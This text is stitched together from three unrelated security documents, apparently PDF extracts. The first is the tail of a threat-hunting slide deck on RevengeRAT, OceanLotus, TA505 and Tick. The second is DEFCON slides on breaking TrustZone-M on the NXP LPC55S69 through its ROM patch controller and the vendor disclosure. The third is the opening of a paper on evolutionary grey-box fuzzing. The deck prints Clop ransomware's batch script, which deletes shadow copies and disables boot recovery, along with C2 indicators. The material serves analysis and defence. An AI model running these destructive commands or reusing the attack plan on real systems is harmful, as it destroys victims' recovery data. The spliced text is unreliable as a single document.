Bitly link 37 Copyright©2019 nao_sec All Rights Reserved. 27.html • To read blog-pages.html, and it seems to be an update process 38 Copyright©2019 nao_sec All Rights Reserved. 27.html • The process of acquiring data from Pastebin, decoding and executing it at the bottom of 27.html is written in VBScript • What is pasted on Pastebin is Base64 encoded malware 39 Copyright©2019 nao_sec All Rights Reserved. Pastebin • Pastebin was logged in and used • User name • HAGGA 40 Copyright©2019 nao_sec All Rights Reserved. RevengeRAT • It was .NET assembly when decoding the data that was put in Pastebin • As a result of decompiling this, this seems to be RevengeRAT 41 Copyright©2019 nao_sec All Rights Reserved. Summary • It has been observed all over the world • T1170 - MSHTA • Public services • Bitly • Blogger • Pastebin 42 Copyright©2019 nao_sec All Rights Reserved. OceanLotus 43 Copyright©2019 nao_sec All Rights Reserved. OceanLotus • Other name • APT32, APT-C-00, SeaLotus • This group is believed to be related to Vietnam • It has been active since at least 2014 • In this March, An attack on a Southeast Asian base of an automobile company (including Japanese) was reported https://www.bloomberg.com/news/articles/2019-03-20/vietnam-tied-hackers-target-auto-industry-firms-fireeye-says 44 Copyright©2019 nao_sec All Rights Reserved. Pattern 1 Shellcode VBA load memory decode backdoor C2 module decoder https://app.any.run/tasks/330f9f1e-c8a4-4dea-b74f-c6c6eb90b899/ metaimg1.wmf 45 Copyright©2019 nao_sec All Rights Reserved. Macro 46 Copyright©2019 nao_sec All Rights Reserved. Macro xor 0xCA => 4D 5A (MZ) 47 Copyright©2019 nao_sec All Rights Reserved. Macro 48 Copyright©2019 nao_sec All Rights Reserved. Decoder DLL • This Dll Only 1byte xor decode WMF • WMF is shellcode 49 Copyright©2019 nao_sec All Rights Reserved. Shellcode (Backdoor Launcher) • DOS header in shellcode • other part(header and code) is encrypted • OceanLotus often use this pattern • Head is the call instruction 50 Copyright©2019 nao_sec All Rights Reserved. Backdoor DLLs • Backdoor DLL have encoded data in Resource • Connect C2s http[:]//ps.andreagahuvrauvin.com http[:]//paste.christienollmache.xyz http[:]//att.illagedrivestralia.xyz 51 Copyright©2019 nao_sec All Rights Reserved. Backdoor DLLs • Create key • SOFTWARE¥Classes¥CLSID¥ {E3517E26-8E93-458D-A6DF -8030BC80528B} • Export • CreateInstance function 52 Copyright©2019 nao_sec All Rights Reserved. Relevance • This DLL related Cylance report • OceanLotus Steganography Malware Analysis White paper • Same Registry and CLID • Same Export function https://www.cylance.com/en-us/lp/threat-research-and-intelligence/oceanlotus-steganography- malware-analysis-white-paper-2019.html 53 Copyright©2019 nao_sec All Rights Reserved. Pattern 2 https://app.any.run/tasks/16a7605e-6e75-4b35-82d8-aa30cefd342d/ VBA Shellcode backdoor 54 Copyright©2019 nao_sec All Rights Reserved. Macro 55 Copyright©2019 nao_sec All Rights Reserved. Macro 56 Copyright©2019 nao_sec All Rights Reserved. Relevance • some points that match the code of cobalt strike. 57 Copyright©2019 nao_sec All Rights Reserved. Shellcode • DOS header in shellcode • other part(header and code) is encrypted • same as pattern1 58 Copyright©2019 nao_sec All Rights Reserved. Backdoor DLLs • same backdoor as pattern1 • strings • BinDiff result pattern2 pattern1 59 Copyright©2019 nao_sec All Rights Reserved. Summary • Using Cobalt Strike • Unique shellcode • Encoded multiple times • T1140 • Keep data in resource area 60 Copyright©2019 nao_sec All Rights Reserved. TA505 61 Copyright©2019 nao_sec All Rights Reserved. TA505 • This group named TA505 by ProofPoint • TA505 has been in the cybercrime business since around 2015 • Not APT • Early days • Sending malspam emails that infected banking Trojans and ransomware • Recently • Spread document files infected with RATs and bots mainly in Korea • An attack on Japan was also observed 62 Copyright©2019 nao_sec All Rights Reserved. TA505 case by KRCERT • KRCERT has published an attack flow with TA505 • However we have only spotted a part of attack. https://www.krcert.or.kr/filedownload.do?attach_file_seq=2169&attach_file_id=EpF2169.pdf 63 Copyright©2019 nao_sec All Rights Reserved. In Japanese case • malspam by TA505 targeted Japan in February • It pushed FlawedAmmyy • The subject and the text are interesting • It copied malspam sent by other actors the day before https://twitter.com/nao_sec/status/1098069300340903936 64 Copyright©2019 nao_sec All Rights Reserved. Excel document file 65 Copyright©2019 nao_sec All Rights Reserved. Excel document file 66 Copyright©2019 nao_sec All Rights Reserved. Word document file $ python oledump.py request.doc 1: 146 '¥x01CompObj' 2: 4096 '¥x05DocumentSummaryInformation' 3: 4096 '¥x05SummaryInformation' 4: 6858 '1Table' 5: 421 'Macros/PROJECT' 6: 71 'Macros/PROJECTwm' 7: M 95423 'Macros/VBA/NewMacros' 8: m 1020 'Macros/VBA/ThisDocument' 9: 28021 'Macros/VBA/_VBA_PROJECT' 67 Copyright©2019 nao_sec All Rights Reserved. Malware • FlawedAmmyy • RAT created based on leaked Ammyy source code • Clop • ransomware • Amadey • Multifunctional bot There are also others… 68 Copyright©2019 nao_sec All Rights Reserved. FlawedAmmyy • Signed 69 Copyright©2019 nao_sec All Rights Reserved. FlawedAmmyy • Install by msiexec.exe • Download … 70 Copyright©2019 nao_sec All Rights Reserved. FlawedAmmyy • Use custom packer 71 Copyright©2019 nao_sec All Rights Reserved. Clop • signed 72 Copyright©2019 nao_sec All Rights Reserved. Clop • same custom packer as FlawedAmmyy 73 Copyright©2019 nao_sec All Rights Reserved. Clop • run only as a service • In other words, service installation is supposed to use other methods • It is mentioned in the report of KRCERT 74 Copyright©2019 nao_sec All Rights Reserved. Clop • Decode Resource data • bat file • ransom note @echo off vssadmin Delete Shadows /all /quiet vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures vssadmin Delete Shadows /all /quiet 75 Copyright©2019 nao_sec All Rights Reserved. Amadey • Amadey is installed by msiexec.exe when you open a malicious excel file https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784/ 76 Copyright©2019 nao_sec All Rights Reserved. Amadey • Same custom packer as FlawedAmmyy and Clop 77 Copyright©2019 nao_sec All Rights Reserved. Amadey • Luckily, it has symbol information • Multifunctional bot • Download and execute next payload • Gathering environmental information • Bypass UAC • Check Avs • etc… 78 Copyright©2019 nao_sec All Rights Reserved. Amadey • some interesting encoded strings • C2 domain • C2 parameter • drop name and directory name • Check Avs name • AutoRun command 79 Copyright©2019 nao_sec All Rights Reserved. Summary • Excel 4.0 • Defense Evasion • Install malware using msiexec.exe • T1218 • Signed malware • T1116 • Custom packer • T1140 • Used for packing multiple malware families 80 Copyright©2019 nao_sec All Rights Reserved. Tick 81 Copyright©2019 nao_sec All Rights Reserved. Tick • other name • BRONZE BUTLER • tick is Chinese origins group that has been active since at 2008 • It targets Japan and Korea 82 Copyright©2019 nao_sec All Rights Reserved. [Pattern2] 2019-02 extract Drop %temp%¥taskmar.exe Word Open %APPDATA%¥Microsoft¥Word¥Startup¥winhelp.wll C2 Drop https[:]//www.86coding.com//flow//index.php https[:]//www.86coding.com//img//flow//img00.jpg 83 Copyright©2019 nao_sec All Rights Reserved. RTF • Extensions and icons mimic doc format • It has OLE object ---+----------+--------------------------------------------------------------- id |index |OLE Object ---+----------+--------------------------------------------------------------- 0 |0005EBBDh |format_id: 2 (Embedded) | |class name: 'Package' | |data size: 1673928 | |OLE Package object: | |Filename: u'8.t' | |Source path: u'C:¥¥Aaa¥¥tmp¥¥8.t' | |Temp path = u'C:¥¥Users¥¥ADMINI~1¥¥AppData¥¥Local¥¥Temp¥¥8.t' | |MD5 = '026dbdbb1e525ce4b86734fa08be513d' ---+----------+--------------------------------------------------------------- 84 Copyright©2019 nao_sec All Rights Reserved. RTF • Dummy content mimics a real company 85 Copyright©2019 nao_sec All Rights Reserved. DLL • winhelp.wll • word Add-In • %APPDATA%¥Microsoft¥Word¥Startup • Execute when open the Word application • It has pdb infomation • C:¥Users¥Frank¥Desktop¥doc_dll¥Release¥DocDll.pdb 86 Copyright©2019 nao_sec All Rights Reserved. Downloader • %temp%¥taskmar.exe • File size is very large • about 78MB • self copy 1024 times • It has PDB information • C:¥Users¥Frank¥Desktop¥ABK-old¥Release¥ABK.pdb 87 Copyright©2019 nao_sec All Rights Reserved. Downloader • Similar code with the same logic as Pattern1 88 Copyright©2019 nao_sec All Rights Reserved. C2 http[:]//www.ishuiyunjian.com/source/include/post/index.php http[:]//www.ishuiyunjian.com/source/include/post/post.jpg Has dummy PDF [Pattern3] 2019-01 89 Copyright©2019 nao_sec All Rights Reserved. Downloader • It has dummy PDF in resource area • Named “EXE" 90 Copyright©2019 nao_sec All Rights Reserved. Downloader • It has config in resource area 91 Copyright©2019 nao_sec All Rights Reserved. Downloader • There is no big change, but it is different in some codes • maybe update? 92 Copyright©2019 nao_sec All Rights Reserved. [Pattern4] 2019-05 %temp%¥taskhast.exe C2 http[:]//www.carilite.net//Coolbee//coolbee.bmp http[:]//www.carilite.net//Coolbee//index.php 93 Copyright©2019 nao_sec All Rights Reserved. Dropper • Strings Table • only “Folder” • It has PDB information • C:¥Users¥Frank¥Desktop¥ABK¥ Release¥Hidder.pdb 94 Copyright©2019 nao_sec All Rights Reserved. Downloader • Change Check Avs 95 Copyright©2019 nao_sec All Rights Reserved. Downloader • Hardcode unique URLs(“//”) and Parameters • Several parameters were added • id=078BFBFF000406F1564309220&group=0&class=6 • It has PDB information • C:¥Users¥Frank¥Documents¥Visual Studio 2010 ¥Projects¥avenger¥Release¥avenger.pdb 96 Copyright©2019 nao_sec All Rights Reserved. Downloader • Download dummy bmp • It contains Chinese notepad.exe named winlogon.exe • %appdata%¥ ¥Microsoft¥Internet Explorer • The implant exe is encoded 97 Copyright©2019 nao_sec All Rights Reserved. Summary • exe using RLO • T1036 • Targeted advanced decoy files • Binary padding • T1009 • exe implant to image file • They prefer Windows default wallpaper • Use original downloader and rat • ABK Downloader • Datper 114 Copyright©2019 nao_sec All Rights Reserved. Summary 115 Copyright©2019 nao_sec All Rights Reserved. Summary • Services and methods used for Hunting • VirusTotal • Private API • Yara (Live & Retro Hunt) • Hybrid Analysis • Yara (Retro Hunt) • ATT&CK Tactic & Technique • ANY.RUN • ATT&CK Technique • Suricata SID • Actors TTPs found from public sources • TA544 • Gorgon Group • OceanLotus • TA505 • Tick 116
pdf
Breaking TrustZone-M PRIVILEGE ESCALATION ON LPC55S69 What are two firmware engineers doing at DEFCON? Designing hardware Root of Trust for Oxide Computer Company In-house, microkernel OS written in Rust Leverage publicly-available, security-focused microcontroller Plan to open-source everything by time product ships Design goals A strong assertion regarding the integrity and authenticity of RoT firmware and hardware configuration A tamper-resistant, impersonation-resistant unique ID A mechanism for extending trust to additional devices A mechanism for re-establishing trust after a compromise Due diligence on candidate microcontrollers led to surprising findings 1 2 3 4 1 2 3 OXIDE BREAKING TRUSTZONE-M NXP LPC55S69 OXIDE BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M NPX LPC55S69 • Dual-core Cortex-M33 • • CPU0 has TZ-M and MPU CPU1 is wrapped with MSW • • • • AES, SHA, and GF(p) accelerators SRAM-based PUF w/ protected key path to AES accelerator Secure boot (RSA-2048 or RSA-4096) Debug Authentication (RSA-2048 or RSA-4096) OXIDE Is this microcontroller actually secure • • Why should we believe what the marketing says? Documentation was frequently unclear and confusing BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M FROM UM11126 OXIDE BREAKING TRUSTZONE-M FROM AN12283 OXIDE Undocumented Features • EZH • • • • From AN12868 Custom core with single-cycle I/O access Intended for wire protocol conversions NXP only acknowledges existence to high-volume customers • DICE CDI computation • ROM patch controller • Defeaturized by (partially) removing details from documentation BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M Undocumented Features • EZH • • • • From AN12868 Custom core with single-cycle I/O access Intended for wire protocol conversions NXP only acknowledges existence to high-volume customers • DICE CDI computation • ROM patch controller • Defeaturized by (partially) removing details from documentation TrustZone-M 101 OXIDE BREAKING TRUSTZONE-M OXIDE What is TrustZone-M? “The Armv8-M architecture extends TrustZone technology to Cortex-M based systems, enabling robust levels of protection at all cost points. TrustZone reduces the potential for attack by isolating the critical security firmware and private information, such as secure boot, firmware update, and keys, from the rest of the application. TrustZone technology offers an efficient, system-wide approach to security with hardware-enforced isolation built into the CPU. It does this by running two domains side-by-side and sharing resources per set configuration.” HTTPS://DEVELOPER.ARM.COM/IP-PRODUCTS/SECURITY-IP/TRUSTZONE/TRUSTZONE-FOR-CORTEX-M BREAKING TRUSTZONE-M OXIDE What is TrustZone-M? “The Armv8-M architecture extends TrustZone technology to Cortex-M based systems, enabling robust levels of protection at all cost points. TrustZone reduces the potential for attack by isolating the critical security firmware and private information, such as secure boot, firmware update, and keys, from the rest of the application. TrustZone technology offers an efficient, system-wide approach to security with hardware-enforced isolation built into the CPU. It does this by running two domains side-by-side and sharing resources per set configuration.” HTTPS://DEVELOPER.ARM.COM/IP-PRODUCTS/SECURITY-IP/TRUSTZONE/TRUSTZONE-FOR-CORTEX-M BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M What is TrustZone-M? • Conceptually similar to TrustZone-A • • Hardware isolates Secure (S) world from Non-secure (NS) world Ex ecution modes exist orthogonally • Key differences in M-profile • • • Only two execution modes (handler and thread) instead of EL{0-4} No MMU MPU is optional • How does the hardware distinguish S world from NS world? OXIDE With Physical Memory Addresses! Memory split into Secure (S), Non-secure (NS), and Non-secure Callable (NSC) ranges • • • May read/write any address (if allowed by secure MPU) Next instruction must be in a S range BXNS or BLXNS instruction used to switch to NS mode and branch to NS address • Execution from NS range • • • • May read/write only NS ranges (further restricted by non-secure MPU) Next instruction must either: Be in a NS range Be an SG instruction in a NSC range • Execution from NSC range • • • • Only range type that can contain SG instruction Switches from NS mode to S mode, no-op if already in S mode Creates explicit entry points provided for NS to call into S Otherwise treated as equivalent to S range • Execution from S range BREAKING TRUSTZONE-M OXIDE Who Decides What Is S, NS, or NSC? • Security Attribution Unit (SAU) • • • • • Programmable like an MPU to map memory ranges to security attribute (S, NS, or NSC) Architecturally defined as part of ARMv8-M Security Extension Implementation defined # of regions [Base, Limit] ranges set NS or NSC Addresses not in a range are S BREAKING TRUSTZONE-M OXIDE • Implementation-defined Attribution Unit (IDAU) • • • • • Security attributes defined by the chip vendor Example from “Arm® TrustZone Technology for the Armv8-M Architecture”: S: address bit 28 = 1 NS: address bit 28 = 0 Sadly, many implementations do exactly that including NXP LPC55S69 Who Decides What Is S, NS, or NSC? BREAKING TRUSTZONE-M OXIDE Who Decides What Is S, NS, or NSC? • • • Address of every CPU data access and instruction fetch is sent to both SAU and IDAU Each determines security attribute independently Most secure attribute of the two is used (S > NSC > NS) BREAKING TRUSTZONE-M OXIDE Secure AHB, MPC, and PPC • Implementation-defined mechanisms for enforcing policy on security attributes outside a CPU core • • AHB matrix that carries security attributes with a transaction May allow restricting accesses based on (source port, security attribute, destination port) tuple • Memory Protection Checkers (MPC) • • Filter transactions at AHB peripheral Range- or block-based policies for splitting ROM, flash, and RAMs into S and NS segments • Peripheral Protection Checkers (PPC) • • • Filter transactions at AHB peripheral Typically single policy for the whole peripheral Some implementations (e.g. AHB-APB bridges) allow more fine-grain policies (i.e. per downstream peripheral) • Secure Advanced High-performance Bus (Secure AHB or S-AHB) BREAKING TRUSTZONE-M OXIDE What about AHB initiators • • Mostly left to implementers to figure out Secure AHB-aware initiators • • • Can initiate transactions as S or NS Up to implementation if S can initiate NS or vice versa Typically can use security attribute from request the initiator is fulfilling (e.g. DMA request) • Master Security Wrapper (MSW) • • Used to adapt existing AHB initiators to Secure AHB Sets a single security attribute used for all AHB transactions BREAKING TRUSTZONE-M OXIDE FROM NXP UM11126 BREAKING TRUSTZONE-M OXIDE Implications • • • Most peripherals are aliased (via IDAU) into both S and NS addresses Software is expected to configure SAU, MSW, MPC, and PPC based on application policies Any mistakes in configuration can be devastating • • S code or RAM accessible via NS alias NS access to DMA controller that initiates S transactions BREAKING TRUSTZONE-M Finding the ROM Patcher OXIDE BREAKING TRUSTZONE-M OXIDE FROM AN12283 ??????????? BREAKING TRUSTZONE-M OXIDE Bricked boards! Chips destroyed by incorrect programming BREAKING TRUSTZONE-M OXIDE LPC55 Flash Layout BREAKING TRUSTZONE-M OXIDE Information is missing? • Noticed this in LPC55S69 User Manual • Did you know you can embed files inside PDFs? NXP does. BREAKING TRUSTZONE-M OXIDE HANG ON. WHERE DID 906-1213 GO? LPC55S6X_LPC55S2X_LPC552X PROTECTED FLASH REGION V1.1.XLSX BREAKING TRUSTZONE-M OXIDE LPC55S6X_LPC55S2X_LPC552X PROTECTED FLASH REGION V1.1.XLSX Right-click Strikes Again! BREAKING TRUSTZONE-M OXIDE Connecting the dots • • • Find references to this flash region in ROM code Reverse engineer that code Oh, look, exact details on how to use the ROM patcher BREAKING TRUSTZONE-M OXIDE NXP ROM Patch Controller • • • • • • 16 patch slots Each slot patches one 32-bit word specified by ROM address Up to 8 slots may replace the word with any 32-bit value Others are replaced with a SVC <slot> instruction Patches are cleared upon device reset Aliased into both secure and non-secure ranges BREAKING TRUSTZONE-M OXIDE NXP ROM Patch Controller BREAKING TRUSTZONE-M OXIDE ARMv7-M defined a flash patcher • • From ARMv7-M Architecture Manual See also Defcon 26 "Your Peripheral Has Planted Malware— An Exploit of NXP SOCs Vulnerability" BREAKING TRUSTZONE-M OXIDE ARMv8-M removed the patching CAN'T DO THAT EXPLOIT! FROM THE ARMV8-M MANUAL BREAKING TRUSTZONE-M OXIDE ROM APIs • Exported functions for use by user code • • • Flash API In-Application Programming API Secure Boot Image Authentication API • APIs expect to be called from Secure mode • • Implementations access secure addresses Image Authentication API requires Secure/Privileged mode • Entrypoints discovered via tables located inside ROM BREAKING TRUSTZONE-M OXIDE Plan of Attack • • • • Find ROM API used by secure code Use ROM Patch Controller to inject code into that ROM API Wait for secure code to invoke that API Profit! BREAKING TRUSTZONE-M TrustedFirmware-M OXIDE BREAKING TRUSTZONE-M OXIDE TrustedFirmware-M • • • • Reference implementation of ARM’s Platform Security Architecture (PSA) PSA defines API for common secure services offered to non-secure apps Designed to allow different vendors for secure and non-secure code Core services • • • • Cryptography Initial Attestation Internal Trusted Storage (ITS) RoT Lifecycle • Upstream has support for LPC55S69 HTTPS://WWW.TRUSTEDFIRMWARE.ORG/PROJECTS/TF-M/ BREAKING TRUSTZONE-M OXIDE TrustedFirmware-M • • • • Reference implementation of ARM’s Platform Security Architecture (PSA) PSA defines API for common secure services offered to non-secure apps Designed to allow different vendors for secure and non-secure code Core services • • Cryptography Initial Attestation • Upstream has support for LPC55S69 • Internal Trusted Storage (ITS) • RoT Lifecycle HTTPS://WWW.TRUSTEDFIRMWARE.ORG/PROJECTS/TF-M/ BREAKING TRUSTZONE-M OXIDE Internal Trusted Storage (ITS) • • • • API callable from Non-Secure Required to be implemented in Secure Will interact with flash Does it use ROM Flash API? Yup “This API is designed to provide confidentiality and integrity protection of limited storage of persistent data against physical and logical attacks. Implementations of the PSA Firmware Framework that provide isolation levels 2 or 3 must implement the PSA Internal Trusted Storage Service within the PSA RoT and isolated from Application Root of Trust clients.” BREAKING TRUSTZONE-M Building a PoC OXIDE BREAKING TRUSTZONE-M OXIDE PoC Plan of Attack • • Build unmodified TF-M v1.2 Secure image Build Non-secure app • • • • • Write payload that fits in ~24 bytes Use ROM Patch Controller to copy payload into empty space in ROM Use ROM Patch Controller to patch Flash_Write ROM API to call payload Use ITS API to write something Verify payload was run BREAKING TRUSTZONE-M OXIDE TF-M Flash Layout w/o Bootloader BREAKING TRUSTZONE-M OXIDE SAU and MPC Configuration • • • Debug boot spew from TF-M Secure Excluded in normal builds Reported configuration doesn’t change BREAKING TRUSTZONE-M OXIDE SAU and MPC Configuration NON-SECURE CANNOT ACCESS SECURE FLASH • • • Debug boot spew from TF-M Secure Excluded in normal builds Reported configuration doesn’t change BREAKING TRUSTZONE-M OXIDE Patch Flash_Write ROM API BREAKING TRUSTZONE-M OXIDE PoC Payload in 20 bytes ROM PATCH NON-SECURE APP BREAKING TRUSTZONE-M OXIDE Verifying Compromise START OF SECURE FLASH BREAKING TRUSTZONE-M OXIDE Verified BREAKING TRUSTZONE-M Disclosure OXIDE BREAKING TRUSTZONE-M OXIDE Responsible Disclosure Process • • • • Write up our findings Disclose findings to vendor Wait up to 90 days for response Coordinate on fixes and public disclosure BREAKING TRUSTZONE-M OXIDE Write up our findings BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor Where do I find contact info for security? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • Where do I find contact info for security? Support? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • Where do I find contact info for security? Support? Nope BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • Where do I find contact info for security? Support? Nope Company? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • Where do I find contact info for security? Support? Nope Company? Nope BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? Nope BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? Nope Contact Us? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? Nope Contact Us? Nope BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? Nope Contact Us? Nope Contact Support? BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor • • • • • Where do I find contact info for security? Support? Nope Company? Nope Footer? Nope Contact Us? Nope Contact Support? Finally! BREAKING TRUSTZONE-M OXIDE Disclose Findings to Vendor BREAKING TRUSTZONE-M OXIDE Wait Up to 90 Days For Response BREAKING TRUSTZONE-M OXIDE Wait Up to 90 Days For Response... BREAKING TRUSTZONE-M OXIDE Wait Up to 90 Days For Response Hi Rick, Thank you for your follow up and apologize for the delay. The product team has confirmed Laura's findings and are investigating possible mitigations. The team will propose possible mitigations to address this vulnerability shortly, by restricting access to the ROM patch controller. NXP would like to thank you and Laura for your responsible disclosure. Kind Regards, Asim NXP PSIRT BREAKING TRUSTZONE-M OXIDE Coordinate on Fixes and Public Disclosure DRAMATIZATION BREAKING TRUSTZONE-M OXIDE Coordinate on Fixes and Public Disclosure ODDLY ENOUGH, SHARED WITH NXP'S PERMISSION BREAKING TRUSTZONE-M OXIDE Coordinate on Fixes and Public Disclosure DRAMATIZATION BREAKING TRUSTZONE-M OXIDE Disclosure Timeline Initial disclosure 2020-12-16 Oxide requests confirmation of vulnerability 2020-01-11 NXP provides confirmation and is working on mitigations 2020-01-12 Oxide requests update on disclosure timeline 2020-02-03 NXP proposes that scope is narrower than originally indicated 2020-02-08 Oxide provides TrustedFirmware-M-based PoC illustrating original scope 2020-02-24 NXP requests an extension to disclosure timeline 2020-03-05 Oxide agrees to extension with conditions 2020-03-10 NXP provides some answers under NDA, mostly dodged questions 2020-03-26 Public Disclosure 2020-04-30 BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M Public Disclosure • • • • Oxide CVE-2021-31532 Blog post Tweets DEFCON Talk • • NXP Security Bulletin 04/2021 emailed to select customers Updated User Manuals TL;DR OXIDE BREAKING TRUSTZONE-M OXIDE Affected Devices • • All LPC55S6x variants affected LPC552x • • • Includes ROM Patch Controller Lacks TrustZone-M Escalation from unprivileged to privileged mode still possible • LPC553x • • Includes ability to lock ROM Patch Controller configuration ROM intentionally does not do so before starting user code • Many other LPC and i.MX RT products also include ROM Patch Controller • NXP has not provided a full list of devices BREAKING TRUSTZONE-M OXIDE Takeaways • TrustZone-M is hard to configure correctly • • Starts from secure/privileged mode with everything enabled User code needs to drop permissions • SoCs contain undocumented hardware • • Can’t drop a peripheral’s privileges if you don’t know it exists NXP doesn’t see anything wrong with this • Reference implementations often lack secure defaults • TF-M and NXP examples both leave many security controls disabled • Keeping ROM source secret doesn’t improve security BREAKING TRUSTZONE-M
pdf
Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing Jared D. DeMott Computer Science Michigan State University [email protected] Richard J. Enbody Computer Science Michigan State University [email protected] William F. Punch GARAGe Michigan State University [email protected] Accepted for publication at Black Hat and DEFCON 2007 Abstract Runtime code coverage analysis is feasible and useful when application source code is not available. An evolutionary test tool receiving such statistics can use that information as fitness for pools of sessions to actively learn the interface protocol. We call this activity grey-box fuzzing. We intend to show that, when applicable, grey-box fuzzing is more effective at finding bugs than RFC compliant or capture-replay mutation black-box tools. This research is focused on building a better/new breed of fuzzer. The impact of which is the discovery of difficult to find bugs in real world applications which are accessible (not theoretical). We have successfully combined an evolutionary approach with a debugged target to get real-time grey-box code coverage (CC) fitness data. We build upon existing test tool General Purpose Fuzzer (GPF) [8], and existing reverse engineering and debugging framework PaiMei [10] to accomplish this. We call our new tool the Evolutionary Fuzzing System (EFS), which is the initial realization of my PhD thesis. We have shown that it is possible for our system to learn the targets language (protocol) as target communication sessions become more fit over time. We have also shown that this technique works to find bugs in a real world application. Initial results are promising though further testing is still underway. This paper will explain EFS, describing its unique features, and present preliminary results for one test case. We will also discuss ongoing research efforts. First we begin with some background and related works. Previous Evolutionary Testing Work “Evolutionary Testing uses evolutionary algorithms to search for software test data. For white-box testing criteria, each uncovered structure-for example a program statement or branch-is taken as the individual target of a test data search. With certain types of programs, however, the approach degenerates into a random search, due to a lack of guidance to the required test data. Often this is because the fitness function does not take into account data dependencies within the program under test, and the fact that certain program statements need to have been executed prior to the target structure in order for it to be feasible. For instance, the outcome of a target branching condition may be dependent on a variable having a special value that is only set in a special circumstance- for example a special flag or enumeration value denoting an unusual condition; a unique return value from a function call indicating that an error has occurred, or a counter variable only incremented under certain conditions. Without specific knowledge of such dependencies, the fitness landscape may contain coarse, flat, or even deceptive areas, causing the evolutionary search to stagnate and fail. The problem of flag variables in particular has received much interest from researchers (Baresel et aL, 2004; Baresel and Sthamer, 2003; Bottaci, 2002; Harman et aL, 2002), but there has been little attention with regards to the broader problem as described. [1]” The above quote is from a McMinn paper that is pushing forward the field of traditional evolutionary testing. However, in this paper we propose a method for performing evolutionary testing (ET) that does not require source code. This is useful for third-party testing, verification, and security audits when the source code of the test target will not be provided. Our approach is to track the portions of code executed (“hits”) during runtime via a debugger. Previous static analysis of the compile code, allows the debugger to set break points on functions (funcs) or basic blocks (BBs). We partially overcome the traditional problems of evolutionary testing by the use of a seed file, which gives the evolutionary algorithm hints about the nature of the protocol to learn. Our approach works differently from traditional ET in two important ways: 1. We use a grey-box style of testing that allows us to proceed without source code 2. We search for sequences of test data, known as sessions, which fully define the documented and undocumented features of the interface under test (protocol discovery). This is very similar to finding test data to cover every source code branch via ET. However, the administration, of discovered test data is happening during the search. Thus, test results, are discovered as our algorithm runs. Robustness issues are recorded in the form of crash files and Mysql data, and can be further explored for exploitable conditions while the algorithm continues to run. Introduction Fuzzing is simply another term for interface robustness testing. Robustness testing often indicates security testing of user accessible interfaces, often called the attack surface. This is not security testing in the sense that a penetration test is being performed. We’re testing if user supplied input validation errors exist (think buffer overflows and the like). Solid security in said target is not possible if such validation errors are found. Fuzzing does not replace formal engineering practices, solid quality assurance, or a full code audit and penetration test. EFS focuses on testing the robustness of a given attack surface in the face of unexpected input. Solid work has been done in the field of software testing. Much work has also been done in the field of white-box evolutionary testing [1] [5]. Our work is unique in that no other grey-box fuzzer using evolutionary computing to generate test cases is known at this time. White-box indicates access to source code. Black-box indicates the ability to supply data to a running program, but no source code. In Grey-box while no access to source code is directly granted, it is possible to monitor the running executable in as much detail as a debugger and/or static binary analysis will permit. Current Fuzzers Current fuzzer development has two main branches: full and mutation. A full fuzzer uses a protocol specific (think RFC) to the target program and works only for that protocol. For example, one might develop a fuzzer specific to SMTP. A mutation fuzzer (sometimes called capture/replay) starts with some known good data, changes it somehow, and than repeatedly delivers mutations of that data to the target. Many fuzzers will also monitor the state of the application during fuzzing and report access violations. Both types of fuzzers have value. The full fuzzer will typically get better code coverage (and thus find more bugs), but the mutation fuzzer is quicker to develop and could uncover bugs the full might not. For example, the mutation fuzzer might create an SMTP conversation with a target using commands not listed in the SMTP RFC. Open Source vs. Commercial The debate within fuzzing lists [14], quality assurance groups, security conferences, and testers of all kinds rages about who owns the state of the art here. Commercial companies claim they do. Most vender neutral testers say open source solutions are superior. There has been no real study to date. This would make an excellent study. If time permits, and vendors cooperate, we would like to do such a study. EFS Overview We propose a new fuzzer which we call the Evolving Fuzzer System or EFS as shown in Figure 1. We’d like to receive the benefits of both fuzzer types: good code coverage and short development time per application. Figure 1: The Evolving Fuzzer System (EFS) EFS will learn the target protocol by evolving sessions: a sequence of input and output that makes up a conversation with the target. To keep track of how well we are doing we use code coverage as a session metric (fitness). Sessions with greater fitness breed to produce new sessions. Over time, each generation will cover more and more of the code in the target. In particular, since EFS covers code that can be externally exercised, it covers code on the networked attack surface. EFS could be adapted to fuzz almost any type of interface (attack surface). To aid in the discovery of the language of the target, a seed file is one of the parameters given to the GPF portion of EFS (see Figure 8). The seed file contains binary data or ASCII strings that we expect to see in this class of 